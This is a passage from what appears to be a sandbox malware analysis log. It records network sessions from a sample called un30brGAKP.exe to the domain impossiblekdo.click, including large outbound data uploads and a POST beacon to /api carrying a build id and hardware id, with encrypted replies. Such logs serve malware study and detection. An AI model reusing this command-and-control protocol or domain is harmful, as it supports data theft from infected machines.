azMKro('5lG8@S17S}aJ@zSn6[%e<A6B!>=]lu;^H!4wZfA'/VD2&y+bV_z7i}grM%VsicXm:4QaNJ'u0"xc#B*{9_EoDdr.i
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: ba 87 61 ac 8e 34 df df 30 49 34 06 2b 29 17 59 7f f4 0c fa 8f a5 0e cd 3c 0f 5f 81 72 90 c1 17 1d 88 5d 89 db d5 47 ee be 6a be 65 6d fc 88 61 d3 11 e4 01 04 21 e7 9e 73 76 05 8a bf 3b ab 96 06 6b 55 0a 38 a7 07 84 c8 be 9c a3 ec 31 14 08 cf 6e a9 95 c8 b8 fc 5f fc fe b8 73 c3 47 fa c2 97 4f de 17 2c 3a 07 b6 d8 cc 0b 9e af b9 3b 10 40 09 f0 da aa dc 83 ad ee be 60 7f 3e aa 5a 54 bb 54 00 1c 4a 20 b2 21 d7 79 69 13 b7 85 52 f9 6d 22 a5 b2 20 8f 45 f4 ab bb 13 15 2f 9c 52 e1 7b 7b 13 78 ce 97 99 10 4d 01 69 cb 30 b2 9f 1b de 4c a1 6f 44 de e1 9c 84 78 13 e0 91 4b 19 00 f9 9d 20 7e 37 f3 e5 f2 e8 79 82 e8 73 86 81 9e ba e4 7d 48 6d 1d 01 34 03 3c a0 10 17 cb 6a 1b 60 35 79 c1 a7 20 42 ee d3 a2 12 9e f4 94 c2 d3 75 f4 9f ea 5f 98 3b 2b 05 01 d4 e3 5f e7 0d Data Ascii: a40I4+)Y<_r]Gjema!sv;kU81n_sGO,:;@`>ZTTJ !yiRm" E/R{{xMi0LoDxK ~7ys}Hm4<j`5y Bu_;+_
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: 0f a3 a1 38 27 91 d7 de 3c a1 f0 5a d3 1a 8f 52 53 8a 8a 64 0f 08 d7 f3 e5 8a e0 14 fd 94 0e 72 73 a3 43 1c a1 57 b2 eb a4 95 cf 4b 6b 34 ac 58 52 73 ae a9 c8 6f 37 89 31 68 a8 ab ea 56 42 7d 67 e4 3d 31 8b bd 22 2e 13 7c a8 d6 4a 12 9c b8 d1 78 69 c7 5b 60 ce 71 6f 34 db 11 fa da 0f 9f ef af 9f d9 1c f9 d1 a7 27 c5 96 d7 68 a4 cd b4 ec d7 1e 8d 88 8d 49 63 f0 84 42 f1 f2 ae 5f ee 57 ae 96 a9 00 9a ab ca e0 f4 12 64 56 1d 6e 97 a3 a2 8a 9f 0f 6d 5f 59 f3 1b 6d db b0 ac 68 59 7b bd e9 16 17 59 b7 ae 76 90 27 51 45 65 a0 71 23 de e3 90 48 9a 21 17 b5 0d d8 9b e6 69 86 fe 1c 1d e5 b6 01 2d 08 fe fb 9e 8a c3 24 d3 0a 4e c8 8f 68 d1 e6 bb 83 ab de e9 24 87 bc 5a ae 0c a7 75 8a 27 f1 30 20 5e 20 b6 38 88 22 b4 85 e6 ac 41 7c 85 06 78 e7 2a 34 5a 60 1d 05 2f 35 Data Ascii: 8'<ZRSdrsCWKk4XRso71hVB}g=1".\|Jxi[`qo4'hIcB_WdVnm_YmhY{Yv'QEeq#H!i-$Nh$Zu'0 ^ 8"A\|x*4Z`/5
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: b6 55 78 10 71 98 69 d1 ad f2 3a 2d 47 62 53 4c 7a 3a a4 64 0b bb b5 37 65 c4 62 6f e6 0d 7c 59 83 89 cc 04 34 3f 7c 8f 11 b8 e8 2a 1f aa ef dc 5a 63 ec 89 11 39 53 85 c0 79 a9 e4 98 45 f1 d6 90 c7 a9 63 b3 c9 d5 0e 07 bc 26 fa d4 0a d3 0b 44 67 c8 48 f3 49 be ef 45 be 82 7d 31 5e ea 3a d9 bb 94 d5 31 aa 80 17 12 15 65 ae cd a7 16 62 fb fd 33 5d 6c 26 05 0e eb 34 7b fb 6e ed 13 4a 4e d8 9b a7 c3 e5 d3 4b 84 8c 3c 41 f1 a1 91 1d 20 73 e1 1c b3 81 71 e8 b2 47 ac 29 96 35 f5 b1 e0 53 65 17 e4 96 12 26 80 1c 61 47 fc 8a 7f 42 a4 11 b0 8b b9 3c 53 03 d3 40 8d 4a d8 e4 f4 4c 4e 33 0e ec 57 6b b7 87 1f 83 19 c5 ea ff 18 25 ad c1 93 ad 57 78 02 f7 02 16 54 e5 7b 91 48 f3 23 a7 2a 67 aa 87 0f bc d2 dd f5 d5 b9 77 ba 35 ad e4 ce 7f 74 88 ee 4a 31 09 07 8b d1 22 1c Data Ascii: Uxqi:-GbSLz:d7ebo\|Y4?\|Zc9SyEc&DgHIE}1^:1eb3]l&4{nJNK<A sqG)5Se&aGB<S@JLN3Wk%WxT{H#gw5tJ1"
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: 67 fd 77 ab 8c 4b e7 ba fa ff be 72 b7 f4 5b ed 3f af ee 94 ed 2b 5d 9a d4 dd 4d e0 f6 b6 fe 5d c5 fd 33 bc 87 b0 b1 94 d6 8a 5d 7c a5 0c 7a d2 04 06 29 30 2c 22 60 52 b5 79 5d 14 a4 31 c0 62 dd f8 ef 43 20 1b 05 33 b5 33 b5 70 16 80 90 0d a1 10 08 71 b0 2e 0e e5 bc 1e 50 fb 75 1a c9 0b a5 e0 e4 96 d9 07 7b 0c 10 bc 70 51 fc f0 7e 42 d6 e6 c5 fe f4 8f 1a df 77 8a 98 a2 c3 61 f8 59 d3 e5 e5 ee ee ca 3f 0b 57 45 53 c3 d8 86 39 66 1f 62 58 de de 1b ee 2f 1e 41 a4 0c 2f fa 21 30 6b ed 2d 0c 44 04 b1 2d 92 db cd 11 79 cb eb 25 8f 9a 6f 5f 16 d5 c4 f3 52 6c ff d1 a5 87 17 3c f1 6d ff c0 ab f2 50 97 1c 2c 0f dd 29 05 41 18 f8 10 06 ff 6e 17 5e 00 f1 67 2a 3d 5b d0 66 ac ca 8f 8f 7e fc ed 78 ba 00 b8 f4 83 1d fb 03 14 b6 10 6b 2a 93 82 70 36 d6 93 9c 5b 33 b9 3c Data Ascii: gwKr[?+]M]3]\|z)0,"`Ry]1bC 33pq.Pu{pQ~BwaY?WES9fbX/A/!0k-D-y%o_Rl<mP,)An^g=[f~xkp6[3<
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: 95 3f 3b 19 c4 0d 31 c2 8c 58 05 f1 9b 93 fc 60 84 6f 95 74 67 e2 e8 46 5f 46 ce 7f ae e5 77 19 c1 c5 ac 9b 77 0d e6 22 e6 95 ee 70 73 04 07 0b be ec 4e fb 61 72 df 6e c3 7b b1 b4 2d 4d 29 a5 35 b4 a6 c2 e5 d2 a5 cd 4d 36 8b 73 3f de 8c a3 cf 38 3a b7 6c 11 38 21 05 f7 5a 48 74 03 6a 8c c4 ff 82 c7 6c 70 39 f3 31 81 65 39 72 24 92 33 5b 3e e1 ea 32 38 53 be dc bd c2 41 2a 2a 86 94 b1 59 28 2d 2c 6d 32 e5 a9 7f c9 82 12 6e 4d 53 20 06 63 c9 47 e2 b3 2c 6d 22 48 12 b2 7e 11 ce 0d 20 f5 2a b6 76 58 54 b8 ff 5e 50 68 ad a4 1c 21 24 16 7d 63 c4 11 64 34 37 38 e7 80 cd d0 08 b4 eb 5a 2d cc fb 92 71 09 8b 8f 7f ff 58 10 1e 16 84 fe a4 d1 dd 83 3f 0b 31 56 fd 67 b6 26 fc 4f 55 f1 05 9f e9 09 68 ba f5 2d 6d e4 bf 2f 13 1b 9a ad 07 86 b8 23 c7 5e 81 c5 b1 11 86 cc Data Ascii: ?;1X`otgF_Fww"psNarn{-M)5M6s?8:l8!ZHtjlp91e9r$3[>28SA*Y(-,m2nMS cG,m"H~ vXT^Ph!$}cd478Z-qX?1Vg&OUh-m/#^
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: 26 ea 8c ae 5e 74 4b 0c c2 74 05 7d ad 61 82 95 dd 33 36 f5 f6 6d eb 8e a7 7e fd a9 ab fd 7b 5b 90 5d fe 02 8f 28 3a f2 66 42 c8 bb 11 94 d7 a5 d1 49 cb 37 c2 e0 24 b4 57 6b da e8 b3 ea 14 a1 80 85 6f 19 94 99 85 5d 98 1a 27 f2 4d d4 2e d4 b7 55 9a 1c 61 d9 9f 7a 0d 78 fd 48 d8 1f c1 cf 31 40 37 17 5a 46 31 38 65 79 68 17 be fc 04 35 8f 8d 81 7c 2a 91 4d 8a ae ba 8b b6 a3 67 1b 01 1c 56 6a 1b 29 b6 3b 65 17 4f b5 55 70 b4 04 6b 80 85 7e ad bf 78 e5 b2 9f 76 74 dd ed 21 32 2c df 00 61 f0 78 21 c5 cb 6f 55 94 ef 35 d8 eb ce ec 5a 7b a1 2a f4 d8 58 e7 7e 54 fa 05 d6 11 a4 ea ac 06 3e 75 dd 36 6f e3 99 1f de a6 9b 1f a7 7a 3e 8f a5 78 f8 bd 2b a0 65 e0 0c 16 c7 47 36 4e f0 5b 7f 0c a3 75 49 98 7c ff 26 d6 ca ee 8c 26 94 f1 f9 ac eb eb f1 08 93 a6 68 e6 a3 e6 Data Ascii: &^tKt}a36m~{[](:fBI7$Wko]'M.UazxH1@7ZF18eyh5\|MgVj);eOUpk~xvt!2,ax!oU5Z{X~T>u6oz>x+eG6N[uI\|&&h
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: 5c ef 74 8a 3a 54 f5 8d 5c 02 59 56 ca 60 66 eb 8c a1 8d ea 29 32 32 cd a1 8d 8a 1a e5 b9 66 c2 9c 56 37 ed fc b3 df fa 92 50 6d 12 c5 69 32 82 52 86 79 25 e2 90 77 99 5c 1b 26 0b 6d 91 f9 54 29 04 44 ec 8a 02 09 47 59 9c 75 ff 31 22 bb 2f a6 3d b4 14 d7 5c 17 90 ff 8a 81 ce d9 a5 58 fe ef 38 29 fb a3 d2 da 37 39 da b7 e5 d3 03 6c 11 e5 08 06 79 fe d7 45 5c 61 b2 15 b3 c6 bb 1f a5 ba a7 3f a4 48 ba 4f 77 6a 99 e5 50 97 15 69 5f fb 4e a5 9c c0 fa 91 99 52 5a 74 9e d8 f4 ad bc 5b 39 ac d0 4f 5b b2 ff 9d 30 73 62 7e 3b 20 39 c5 86 e2 be 5a 9c 0a 1f f8 d7 cb 60 cf f2 87 ba d9 17 b3 91 ef a5 1b bd c2 5f 2e 56 eb cd b8 2b cf 5a fe 83 3e fb 0f da 35 42 6a b6 5a b4 63 ed 1b ab 6f a6 34 ed 63 5f c0 13 e9 c2 bc e9 98 63 b7 4e ba 04 ed 75 3b af 68 25 d0 01 6e da 65 Data Ascii: \t:T\YV`f)22fV7Pmi2Ry%w\&mT)DGYu1"/=\X8)79lyE\a?HOwjPi_NRZt[9O[0sb~; 9Z`_.V+Z>5BjZco4c_cNu;h%ne
2025-01-06 06:44:10 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=66ap6ip5mmjokgmprnfrhkomgc; expires=Fri, 02 May 2025 00:30:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ePdxg3GPcQvuGz5HKRyfqRnP5y7rYJU2IS5AuD9jq2VHoep15VYyAFQbuUFKaPXyl08c2wIBcwz7kTn4WDc1344wYF14%2FDKU%2FUbv3UEyblWOFDmcL%2Bax4J3UFkD0YNqXYgqJCpf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcdfef27f5fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1624&rtt_var=628&sent=206&recv=600&lost=0&retrans=0&sent_bytes=2847&recv_bytes=588283&delivery_rate=1717647&cwnd=252&unsent_bytes=0&cid=c1a1ab22c639f9fe&ts=2115&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49738	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:10 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: impossiblekdo.click
2025-01-06 06:44:10 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 26 6a 3d 26 68 77 69 64 3d 30 35 36 37 46 41 41 42 33 34 31 39 33 30 34 41 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--ewwjplqmoyou&j=&hwid=0567FAAB3419304A1B825E506F021727
2025-01-06 06:44:11 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tlqpgh768ei2r96b2dt1otulde; expires=Fri, 02 May 2025 00:30:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RlW64Zcl3zwLeluCzlu04ptPgWOzDTbE9GfT5MmFqZo5VCP2O%2Br5tTpv7CMppbMAgx%2FxQpk1%2FOeeHyPVu7HfF0Jbbnjk6RmHaT071D%2F9eAWzylcqazSh2GHYLdtIiHgXoxp6IQR9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcf05dca4366-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1588&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=992&delivery_rate=1813664&cwnd=200&unsent_bytes=0&cid=4853e3610cf7cb16&ts=476&x=0"
2025-01-06 06:44:11 UTC	242	IN	Data Raw: 33 36 33 63 0d 0a 72 4f 36 78 58 49 54 31 6f 45 2f 6d 2f 34 6b 46 58 78 62 70 62 30 53 70 34 4e 73 48 6d 58 58 55 51 6c 55 50 30 43 73 4b 31 73 72 33 6c 5a 4d 36 38 4e 65 61 66 73 72 64 37 43 64 6c 4a 38 56 4e 49 49 76 61 2b 54 50 44 45 37 55 77 48 6e 6d 67 63 55 61 41 72 64 69 70 30 42 62 70 6e 76 6f 68 76 70 7a 44 51 7a 35 43 6f 68 77 51 2b 35 53 7a 62 75 38 77 70 67 73 77 58 4f 51 5a 57 65 43 35 31 6f 2f 36 4c 2f 57 41 7a 43 53 53 71 4e 6f 31 42 58 6d 45 44 68 62 45 68 4c 39 77 38 69 4f 6b 44 79 52 33 6e 6d 77 34 6e 6f 47 55 76 63 49 30 73 62 6e 4b 46 61 71 4b 7a 6c 31 74 5a 35 41 64 63 76 36 7a 36 6c 37 56 4a 37 6b 72 44 33 2b 58 63 54 76 6c 69 66 36 35 32 69 58 32 73 4a 41 74 76 36 62 37 66 52 52 76 72 67 77 78 Data Ascii: 363crO6xXIT1oE/m/4kFXxbpb0Sp4NsHmXXUQlUP0CsK1sr3lZM68Neafsrd7CdlJ8VNIIva+TPDE7UwHnmgcUaArdip0BbpnvohvpzDQz5CohwQ+5Szbu8wpgswXOQZWeC51o/6L/WAzCSSqNo1BXmEDhbEhL9w8iOkDyR3nmw4noGUvcI0sbnKFaqKzl1tZ5Adcv6z6l7VJ7krD3+XcTvlif652iX2sJAtv6b7fRRvrgwx
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 35 34 75 75 4d 4b 30 64 73 79 30 6b 65 37 52 4a 55 72 36 49 36 4b 6e 58 47 74 4c 48 77 7a 57 6f 6e 76 6f 33 44 45 4f 6c 43 67 33 48 6c 34 38 78 72 41 4b 59 45 7a 70 58 68 31 38 36 6b 5a 7a 59 32 64 73 57 37 63 44 54 48 64 54 50 7a 57 45 63 58 59 63 4b 42 2f 32 79 34 6e 58 67 47 70 6f 55 59 55 57 67 62 44 69 65 71 39 69 74 77 6a 54 31 75 63 34 72 71 6f 76 52 57 58 42 6c 6d 68 6f 32 6e 37 65 49 4e 73 41 35 68 69 38 38 56 36 42 73 55 49 36 77 35 72 7a 32 50 2f 32 48 35 6e 2b 45 70 74 42 33 61 46 32 51 4a 79 2f 63 72 72 42 79 72 53 79 79 49 79 64 45 70 68 35 51 6d 70 7a 4c 6d 76 59 39 7a 70 6a 4c 46 59 69 72 36 6b 38 4a 64 37 30 6b 4e 2f 32 59 72 32 2f 7a 4a 5a 45 77 48 47 71 44 48 7a 69 46 2f 63 4b 43 69 43 33 33 68 49 73 6a 6a 59 76 65 51 54 52 4d 68 67 49 Data Ascii: 54uuMK0dsy0ke7RJUr6I6KnXGtLHwzWonvo3DEOlCg3Hl48xrAKYEzpXh186kZzY2dsW7cDTHdTPzWEcXYcKB/2y4nXgGpoUYUWgbDieq9itwjT1uc4rqovRWXBlmho2n7eINsA5hi88V6BsUI6w5rz2P/2H5n+EptB3aF2QJy/crrByrSyyIydEph5QmpzLmvY9zpjLFYir6k8Jd70kN/2Yr2/zJZEwHGqDHziF/cKCiC33hIsjjYveQTRMhgI
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 48 4c 58 48 71 46 32 44 32 6d 78 57 55 47 67 75 76 61 69 35 7a 76 77 73 73 45 46 69 35 54 54 61 77 64 31 6f 79 6b 6c 2f 61 75 6f 55 38 73 42 76 43 73 6a 53 71 4a 69 62 34 58 2b 6e 72 32 47 4e 4f 6a 4d 30 54 79 58 31 4f 56 75 4b 30 47 71 58 78 37 47 6a 62 70 56 39 42 47 77 4e 54 35 5a 6f 47 5a 37 72 6f 54 72 33 50 59 58 76 4b 62 54 4a 39 4f 7a 34 31 38 54 59 36 34 33 64 74 69 5a 71 54 48 4f 4a 75 55 62 47 56 32 39 51 6c 43 6d 6a 66 62 66 67 68 2f 57 6f 73 73 32 6c 4c 71 35 5a 77 5a 50 6d 78 63 50 30 4b 69 77 63 74 63 65 6f 58 59 50 61 62 46 5a 51 61 43 36 39 71 4c 6e 4f 2f 43 79 77 51 57 4c 6c 4e 4e 72 42 33 57 6a 4b 53 58 39 71 36 68 54 79 77 47 38 4b 79 4e 4b 6f 6d 4a 76 68 66 36 65 76 59 59 30 36 4d 7a 52 50 4a 66 55 35 57 34 72 51 61 70 66 48 73 61 4e Data Ascii: HLXHqF2D2mxWUGguvai5zvwssEFi5TTawd1oykl/auoU8sBvCsjSqJib4X+nr2GNOjM0TyX1OVuK0GqXx7GjbpV9BGwNT5ZoGZ7roTr3PYXvKbTJ9Oz418TY643dtiZqTHOJuUbGV29QlCmjfbfgh/Woss2lLq5ZwZPmxcP0KiwctceoXYPabFZQaC69qLnO/CywQWLlNNrB3WjKSX9q6hTywG8KyNKomJvhf6evYY06MzRPJfU5W4rQapfHsaN
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 4f 46 4c 42 68 64 6e 47 4e 35 75 36 33 41 75 34 51 66 34 4b 54 73 42 35 54 4c 7a 45 34 64 49 61 34 48 4b 35 2b 50 6f 6a 43 73 50 5a 70 36 4c 55 4b 36 51 6d 6d 67 75 63 65 42 69 42 4c 4d 76 39 51 4a 6c 63 37 6b 55 44 4e 7a 72 68 34 6e 32 39 4c 6a 4e 63 31 47 6a 69 34 67 61 6f 4e 49 55 72 57 7a 6d 70 33 6e 43 74 79 7a 37 77 43 30 75 2f 31 52 4f 69 43 65 4d 32 76 39 6a 2b 31 46 30 53 44 6e 65 6a 70 4b 68 78 30 38 34 72 69 61 74 4e 55 78 33 4c 6e 71 4f 71 79 7a 35 58 41 74 58 5a 30 45 44 2f 4f 4f 67 31 62 57 52 4a 38 4c 4f 55 58 68 62 7a 4f 50 70 35 75 76 33 69 58 76 76 63 30 6b 6c 35 6e 4e 4d 44 63 6b 73 77 30 71 32 6f 4f 57 54 61 67 55 68 77 34 65 52 4f 4d 61 57 72 36 76 6d 70 6a 34 4f 64 66 42 6b 68 7a 51 74 38 39 4f 50 6d 36 59 43 69 72 5a 31 37 5a 4c 32 Data Ascii: OFLBhdnGN5u63Au4Qf4KTsB5TLzE4dIa4HK5+PojCsPZp6LUK6QmmguceBiBLMv9QJlc7kUDNzrh4n29LjNc1Gji4gaoNIUrWzmp3nCtyz7wC0u/1ROiCeM2v9j+1F0SDnejpKhx084riatNUx3LnqOqyz5XAtXZ0ED/OOg1bWRJ8LOUXhbzOPp5uv3iXvvc0kl5nNMDcksw0q2oOWTagUhw4eROMaWr6vmpj4OdfBkhzQt89OPm6YCirZ17ZL2
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 59 56 5a 68 35 55 2b 50 2b 6c 4c 32 47 61 39 6a 61 37 69 53 54 79 4f 42 42 42 6d 2b 41 57 7a 54 49 6d 70 78 72 37 53 4b 31 43 42 4a 57 67 6b 63 36 6e 62 69 61 32 75 45 4a 38 70 4c 4b 50 4b 36 38 32 48 49 6e 57 70 67 4c 42 66 36 56 68 79 6a 7a 4d 71 51 31 41 55 61 34 55 57 53 7a 6a 2b 69 39 68 41 54 44 74 50 4d 63 74 59 58 35 54 53 5a 52 6e 30 52 39 2b 61 61 59 56 63 6f 70 2b 79 39 69 64 34 68 6e 50 65 4f 47 32 71 6e 6f 4d 72 61 6d 79 78 65 4b 70 39 30 77 43 6c 2b 39 50 78 61 43 68 4c 70 4a 39 43 4b 41 46 54 35 32 6d 58 6f 2f 75 50 7a 68 32 65 63 56 73 59 62 4a 48 5a 2b 64 32 31 49 55 49 59 67 64 44 39 32 33 74 55 4c 6f 45 34 64 37 50 56 50 2f 63 57 69 37 6b 39 69 61 69 54 62 41 78 50 51 45 72 63 79 34 56 54 64 7a 33 78 6b 4e 7a 4c 50 76 4e 63 70 41 76 52 Data Ascii: YVZh5U+P+lL2Ga9ja7iSTyOBBBm+AWzTImpxr7SK1CBJWgkc6nbia2uEJ8pLKPK682HInWpgLBf6VhyjzMqQ1AUa4UWSzj+i9hATDtPMctYX5TSZRn0R9+aaYVcop+y9id4hnPeOG2qnoMramyxeKp90wCl+9PxaChLpJ9CKAFT52mXo/uPzh2ecVsYbJHZ+d21IUIYgdD923tULoE4d7PVP/cWi7k9iaiTbAxPQErcy4VTdz3xkNzLPvNcpAvR
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 48 6d 65 5a 69 35 53 62 77 54 37 4b 76 35 45 4f 73 71 72 51 64 7a 64 43 75 6c 68 7a 39 63 2b 56 62 4f 77 64 72 42 45 34 5a 2b 5a 46 65 75 43 75 78 49 66 47 42 73 6d 2b 2b 6a 65 76 71 2b 31 56 45 46 43 74 58 68 44 69 71 2b 67 32 79 52 32 78 64 43 4e 47 74 58 67 2b 35 4a 6d 61 70 76 63 58 35 59 54 38 59 4d 32 52 2b 54 77 49 57 71 73 45 4d 2f 71 33 75 6b 50 36 50 72 39 30 5a 6d 57 65 48 58 4b 59 70 2b 65 35 39 69 7a 4d 6e 5a 4d 4c 70 5a 7a 68 4e 51 30 69 76 43 63 31 36 4a 57 51 55 4f 6f 78 74 67 67 52 62 4c 6c 68 65 70 47 51 6e 61 58 32 4d 4d 75 30 7a 53 61 6a 74 65 78 6f 44 6c 75 6a 47 43 6a 4b 67 59 6c 2b 2b 41 47 64 42 54 6c 62 69 6d 35 42 6b 4b 66 48 6e 39 63 4d 2f 6f 54 55 4f 5a 58 55 76 7a 41 5a 62 6f 63 4f 46 2b 57 72 34 7a 54 39 48 5a 55 37 49 47 61 Data Ascii: HmeZi5SbwT7Kv5EOsqrQdzdCulhz9c+VbOwdrBE4Z+ZFeuCuxIfGBsm++jevq+1VEFCtXhDiq+g2yR2xdCNGtXg+5JmapvcX5YT8YM2R+TwIWqsEM/q3ukP6Pr90ZmWeHXKYp+e59izMnZMLpZzhNQ0ivCc16JWQUOoxtggRbLlhepGQnaX2MMu0zSajtexoDlujGCjKgYl++AGdBTlbim5BkKfHn9cM/oTUOZXUvzAZbocOF+Wr4zT9HZU7IGa
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 4c 7a 46 68 2b 73 73 77 36 2b 52 66 59 32 48 2b 55 51 64 4a 4b 38 4d 45 5a 69 54 6a 33 33 6f 4f 72 49 76 5a 6d 4f 71 52 57 61 65 6f 64 61 65 2b 69 37 30 72 2b 34 42 6b 49 36 69 54 68 56 37 67 6a 55 71 38 62 58 6a 53 39 55 58 69 47 30 73 57 2b 5a 74 53 37 2b 38 36 5a 7a 49 4b 62 62 47 32 43 62 54 6c 74 39 4c 4e 58 76 61 57 51 72 62 6f 62 64 30 72 44 61 42 49 47 31 33 69 6c 74 66 70 59 48 61 68 65 6b 4f 79 59 66 4e 42 5a 2b 75 37 6d 39 70 66 36 34 7a 61 2b 36 55 6e 32 72 54 47 72 67 6d 4f 58 69 52 52 54 6d 43 71 4a 71 59 32 44 58 65 68 65 63 56 31 38 37 4c 63 44 68 41 72 68 39 38 6e 6f 4f 48 4b 4f 77 4e 72 58 4d 52 65 6f 64 4f 65 50 33 68 39 59 4f 43 4f 4f 75 4d 32 67 32 4c 7a 2f 68 6a 42 79 53 75 4b 43 7a 34 71 72 56 66 7a 41 43 62 64 6a 30 6b 74 30 31 59 Data Ascii: LzFh+ssw6+RfY2H+UQdJK8MEZiTj33oOrIvZmOqRWaeodae+i70r+4BkI6iThV7gjUq8bXjS9UXiG0sW+ZtS7+86ZzIKbbG2CbTlt9LNXvaWQrbobd0rDaBIG13iltfpYHahekOyYfNBZ+u7m9pf64za+6Un2rTGrgmOXiRRTmCqJqY2DXehecV187LcDhArh98noOHKOwNrXMReodOeP3h9YOCOOuM2g2Lz/hjBySuKCz4qrVfzACbdj0kt01Y
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 75 46 44 74 32 55 32 54 33 51 6d 73 38 39 50 57 79 74 48 79 33 6a 6b 4a 77 78 39 7a 32 5a 41 52 70 46 34 6b 4a 4d 6b 5a 33 30 74 2f 70 33 39 62 76 4b 4b 4a 4c 4f 2f 30 64 72 54 49 38 4f 4c 50 37 52 71 6d 72 6f 49 36 49 4d 4f 6b 53 61 52 6d 47 4d 6e 63 53 46 39 6d 54 68 6f 4f 4d 62 6e 72 48 42 61 67 35 4f 70 53 5a 30 2f 74 47 38 53 2b 38 58 68 52 6f 6e 64 5a 74 52 55 2b 36 4a 77 64 79 61 4c 72 43 61 7a 53 36 30 6b 75 31 68 4a 55 43 38 47 78 53 59 30 5a 68 45 38 43 4b 53 41 78 35 6c 74 32 31 44 6b 35 6a 37 6d 59 63 70 78 35 54 74 4f 64 57 6f 33 6a 51 47 55 74 74 63 49 70 69 55 6b 47 62 58 47 59 49 51 41 6d 53 70 59 56 4f 5a 6b 38 54 64 36 32 69 32 7a 50 6c 33 71 36 76 49 54 52 70 55 33 51 67 4f 38 37 7a 30 53 63 30 67 73 6a 41 69 53 70 74 66 54 62 65 49 78 Data Ascii: uFDt2U2T3Qms89PWytHy3jkJwx9z2ZARpF4kJMkZ30t/p39bvKKJLO/0drTI8OLP7RqmroI6IMOkSaRmGMncSF9mThoOMbnrHBag5OpSZ0/tG8S+8XhRondZtRU+6JwdyaLrCazS60ku1hJUC8GxSY0ZhE8CKSAx5lt21Dk5j7mYcpx5TtOdWo3jQGUttcIpiUkGbXGYIQAmSpYVOZk8Td62i2zPl3q6vITRpU3QgO87z0Sc0gsjAiSptfTbeIx
2025-01-06 06:44:11 UTC	1369	IN	Data Raw: 30 6e 5a 46 34 6a 49 7a 46 63 54 5a 4f 6d 78 34 39 38 4e 61 4b 55 4b 67 30 74 68 4d 43 5a 72 56 54 54 5a 37 37 6e 6f 4c 6a 44 65 75 4d 6b 33 2f 58 78 39 42 6e 62 47 36 34 4c 41 7a 37 6c 5a 64 67 37 42 6d 65 4a 7a 4a 39 6e 52 68 36 6b 76 33 36 74 73 55 64 37 62 2b 58 66 37 79 72 30 57 4d 56 55 4b 45 72 43 4d 79 30 67 31 48 78 51 71 49 45 4e 45 61 30 53 6a 36 35 6d 5a 71 2f 33 57 76 58 68 70 4a 6b 69 70 54 39 5a 41 68 6a 76 31 73 64 33 36 79 44 62 73 67 67 6d 53 34 42 4e 6f 56 67 65 65 37 39 33 4c 66 72 4c 2b 61 68 77 67 79 6f 6d 4d 78 32 5a 6b 47 6c 4a 77 62 75 31 71 74 50 72 53 53 46 4e 43 4e 59 6d 32 70 43 34 71 44 55 68 74 6f 4e 76 4b 4b 57 4c 6f 6d 38 75 6d 59 5a 51 4b 6f 4e 49 35 69 34 37 6c 58 4b 4f 5a 6c 77 47 6d 7a 68 63 31 69 55 6a 73 2f 57 2f 54 Data Ascii: 